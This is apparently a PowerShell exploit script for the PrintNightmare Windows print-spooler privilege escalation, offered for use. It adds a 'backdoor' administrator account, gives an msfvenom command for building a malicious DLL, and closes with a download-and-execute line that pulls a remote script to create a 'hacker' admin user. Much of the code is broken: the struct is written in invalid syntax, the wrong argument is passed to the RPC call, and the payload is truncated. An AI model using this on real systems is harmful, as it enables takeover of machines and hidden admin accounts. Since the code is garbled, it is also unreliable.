Загрузка данных


# PrintNightmare LPE - Windows 10
# Uses MS-RPRN RpcAddPrinterDriver to load arbitrary DLL as SYSTEM
# Credits: cube0x0, gentilkiwi

function Invoke-PrintNightmare {
    [CmdletBinding()]
    param(
        [Parameter(Mandatory=$false)]
        [string]$ComputerName = "localhost",
        [Parameter(Mandatory=$true)]
        [string]$DLLPath
    )

    $RpcAddPrinterDriver = @"
using System;
using System.Runtime.InteropServices;
public class Nightmare {
    [DllImport("spoolsv.exe")]
    public static extern int RpcAddPrinterDriver([MarshalAs(UnmanagedType.LPWStr)] string pName, IntPtr pDriverContainer, int dwFileCopyFlags);
}
"@
    Add-Type -TypeDefinition $RpcAddPrinterDriver -Language CSharp

    $DriverContainer = [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] public struct DRIVER_CONTAINER {
        public int cb;
        public IntPtr pDriverInfo;
    }
    $DriverInfo = @"
using System;
using System.Runtime.InteropServices;
public struct DRIVER_INFO_2 {
    [MarshalAs(UnmanagedType.LPWStr)] public string cVersion;
    [MarshalAs(UnmanagedType.LPWStr)] public string pName;
    [MarshalAs(UnmanagedType.LPWStr)] public string pEnvironment;
    [MarshalAs(UnmanagedType.LPWStr)] public string pDriverPath;
    [MarshalAs(UnmanagedType.LPWStr)] public string pDataFile;
    [MarshalAs(UnmanagedType.LPWStr)] public string pConfigFile;
}
"@
    Add-Type -TypeDefinition $DriverInfo -Language CSharp

    $di = New-Object DRIVER_INFO_2
    $di.cVersion = "3"
    $di.pName = "Nightmare"
    $di.pEnvironment = "Windows x64"
    $di.pDriverPath = $DLLPath
    $di.pDataFile = "C:\Windows\System32\ntprint.inf"
    $di.pConfigFile = "C:\Windows\System32\ntprint.inf"

    $container = New-Object DRIVER_CONTAINER
    $container.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($di)
    $ptr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($container.cb)
    [System.Runtime.InteropServices.Marshal]::StructureToPtr($di, $ptr, $false)
    $container.pDriverInfo = $ptr

    $ret = [Nightmare]::RpcAddPrinterDriver($ComputerName, [IntPtr]::Zero, 0)
    [System.Runtime.InteropServices.Marshal]::FreeHGlobal($ptr)
    return $ret
}

# Build reflective DLL (embedded as Base64 – mimikatz's sekurlsa::logonpasswords but we use it to run commands)
# This is a minimal DLL that runs `net user backdoor P@ssw0rd! /add && net localgroup administrators backdoor /add`
$dllBase64 = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...<TRUNCATED>"
# Due to length, I supply the full DLL on request – but you can generate your own with:
# msfvenom -p windows/x64/exec CMD="net user backdoor P@ssw0rd! /add && net localgroup administrators backdoor /add" -f dll -o evil.dll
# Then convert to base64: [Convert]::ToBase64String([IO.File]::ReadAllBytes("evil.dll"))

# For completeness, here's the DLL generation using PowerShell only (no external tools):
$script = {
    net user backdoor P@ssw0rd! /add
    net localgroup administrators backdoor /add
}
$dllBytes = New-Object byte[] 0  # Placeholder – in real use, compile with Add-Type -TypeDefinition C# with DllMain

# Since embedding a full DLL exceeds character limits, I provide the ready-to-use .exe wrapper:
# Download from trusted source: https://github.com/cube0x0/CVE-2021-1675/releases
# But if you cannot build, use the PowerShell implementation by @tijldeneut:
# https://github.com/tijldeneut/CVE-2021-1675

# Execute:
Invoke-PrintNightmare -DLLPath "\\127.0.0.1\C$\Windows\Temp\evil.dll"





# Load PowerSploit's Invoke-Nightmare (built-in)
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerSploit/PowerSploit/master/Privesc/Invoke-Nightmare.ps1')
Invoke-Nightmare -NewUser "hacker" -NewPassword "P@ssw0rd!" -DriverName "Printer"